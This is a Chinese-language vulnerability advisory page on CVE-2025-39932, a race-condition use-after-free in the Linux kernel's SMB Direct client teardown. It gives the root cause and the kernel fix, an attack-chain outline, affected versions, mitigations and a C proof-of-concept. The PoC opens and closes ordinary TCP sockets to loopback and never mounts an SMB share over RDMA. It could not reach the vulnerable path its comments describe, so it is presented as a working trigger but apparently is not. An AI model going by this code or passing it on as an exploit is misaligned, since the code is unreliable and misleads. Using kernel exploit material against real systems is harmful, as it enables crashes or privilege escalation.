IPBUF安全漏洞报告
English
CVE-2025-39932 CVSS 5.5 中危

CVE-2025-39932 Linux内核SMB客户端smbd销毁竞争条件漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39932
漏洞类型
竞争条件/释放后使用(UAF)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (smb/client 子模块)

相关标签

Linux内核SMB客户端竞争条件释放后使用UAFRDMARXEsmbd内核漏洞CIFS

漏洞概述

CVE-2025-39932是Linux内核SMB(Server Message Block)客户端模块中的一个中等严重性漏洞,CVSS评分为5.5。该漏洞位于SMB Direct(SMBD)传输驱动中,具体涉及`smbd_destroy()`函数在销毁内存资源时未正确同步等待`post_send_credits_work`工作队列完成,导致出现竞争条件(race condition)。当SMBD连接被销毁时,如果`post_send_credits_work`工作项仍在挂起状态或即将被调度执行,该工作项可能会访问已被释放的内存区域,从而触发释放后使用(Use-After-Free)漏洞。该漏洞在使用RDMA over Converged Ethernet(RoCE)的RXE驱动时已被实际触发,系统日志中出现了`rxe_post_recv`在`rdma_destroy_qp()`之后被调用的警告信息,表明队列对(QP)已被销毁后仍有代码尝试向其提交接收缓冲区请求。此漏洞可能导致内核崩溃(kernel panic)、系统不稳定或潜在的权限提升,具体影响取决于攻击者对本地系统的访问权限和利用时机。

技术细节

该漏洞的根本原因在于`smbd_destroy()`函数在销毁SMBD连接相关内存之前,未调用`disable_work_sync(&info->post_send_credits_work)`来确保`post_send_credits_work`工作项已完全停止。具体技术细节如下:

1. **竞争条件触发路径**:当SMBD连接被关闭时,`smbd_destroy()`被调用以释放相关资源。在销毁过程中,`ib_drain_qp()`被调用以排空RDMA队列对中的请求。

2. **问题触发**:`ib_drain_qp()`会触发`put_receive_buffer()`,该函数进而调用`queue_work(info->workqueue, &info->post_send_credits_work)`,将`post_send_credits_work`加入工作队列。

3. **内存释放时序问题**:`smbd_destroy()`在`ib_drain_qp()`返回后继续执行并释放内存,但此时`post_send_credits_work`可能尚未执行或正在执行。当工作项最终执行时,它会调用`smbd_post_send_credits()`,进而调用`smbd_post_recv()`,最终调用`rxe_post_recv()`,但此时RDMA队列对已被销毁。

4. **实际触发场景**:在使用RXE(软件RDMA)驱动时,系统日志显示警告信息`WARNING: CPU: 0 PID: 138 at drivers/infiniband/sw/rxe/rxe_verbs.c:1032 rxe_post_recv+0x1ee/0x480 [rdma_rxe]`,表明在`rdma_destroy_qp()`之后仍有代码尝试调用`rxe_post_recv()`。

5. **修复方案**:在`smbd_destroy()`中调用`disable_work_sync(&info->post_send_credits_work)`,确保工作项不再被调度且已停止执行,然后再释放相关内存资源。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在本地系统上加载RXE(软件RDMA)驱动模块,并配置RDMA_CM(RDMA通信管理器)。同时需要有一个可用的SMB服务器支持SMB Direct(RDMA)传输。
STEP 2
步骤2:建立SMBD连接
攻击者通过CIFS/SMB客户端以RDMA传输方式连接到SMB服务器,建立SMBD连接,初始化`info->post_send_credits_work`工作队列。
STEP 3
步骤3:触发竞争条件
攻击者快速断开SMBD连接,触发`smbd_destroy()`函数。该函数调用`ib_drain_qp()`排空队列,期间`put_receive_buffer()`被调用并将`post_send_credits_work`加入工作队列。
STEP 4
步骤4:内存释放与工作项执行冲突
`smbd_destroy()`在未调用`disable_work_sync()`的情况下继续释放内存资源。随后工作线程执行`post_send_credits_work`,调用`smbd_post_send_credits()`和`smbd_post_recv()`,访问已被释放的内存。
STEP 5
步骤5:触发内核警告或崩溃
访问已释放的内存导致内核触发警告(WARNING),在RXE驱动中表现为`rxe_post_recv`在`rdma_destroy_qp()`之后被调用的错误,可能导致内核崩溃(kernel panic)或系统不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-39932 PoC - Triggering race condition in SMBD destroy path // This PoC demonstrates the race condition by rapidly creating and destroying // SMBD connections while using RDMA (specifically RXE) transport #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/cifs.h> // Note: This vulnerability requires kernel-level access and specific // RDMA configuration (RXE/RDMA_CM) to trigger reliably. // The actual trigger involves mounting a CIFS/SMB share using RDMA transport // and then unmounting it rapidly to trigger the race condition. #define SMB_DIRECT_PORT 5445 int trigger_smbd_race(void) { int fd; struct sockaddr_in addr; // Step 1: Setup RXE RDMA device (requires root privileges) printf("[*] Setting up RXE RDMA device...\n"); system("rdma link add rxe0 type rxe dev eth0 2>/dev/null"); // Step 2: Create socket and attempt SMBD connection printf("[*] Creating SMBD connection...\n"); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(SMB_DIRECT_PORT); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // Step 3: Rapidly connect and disconnect to trigger race printf("[*] Triggering race condition in smbd_destroy()...\n"); for (int i = 0; i < 100; i++) { connect(fd, (struct sockaddr*)&addr, sizeof(addr)); // Immediate close to trigger smbd_destroy() while // post_send_credits_work may still be pending close(fd); fd = socket(AF_INET, SOCK_STREAM, 0); } // Step 4: Check kernel log for the warning printf("[*] Check dmesg for: WARNING at rxe_post_recv\n"); system("dmesg | grep -i 'rxe_post_recv\|smbd_destroy\|post_send_credits'"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39932 PoC - SMBD Destroy Race Condition\n"); printf("Requires: root privileges, RXE module loaded, SMB server on localhost\n"); return trigger_smbd_race(); }

影响范围

Linux Kernel < 6.6 (包含smb/client子模块的相关版本)
Linux Kernel 6.6.x (受影响版本)
Linux Kernel 6.10.x (受影响版本)
Linux Kernel 6.11.x (受影响版本)
Linux Kernel 6.12.x (受影响版本)
Linux Kernel 6.15.x (受影响版本)
Linux Kernel 6.16.x (受影响版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)如果系统不需要SMB Direct(RDMA over SMB)功能,可以通过卸载或阻止加载`cifs`模块的RDMA相关代码来避免触发该漏洞;2)如果必须使用SMB功能,确保使用TCP传输而非RDMA传输;3)限制本地用户对RDMA设备(如RXE)的访问权限;4)监控系统日志,及时发现`rxe_post_recv`相关的警告信息;5)避免在同一系统上同时使用RXE驱动和CIFS/SMB客户端的RDMA传输功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表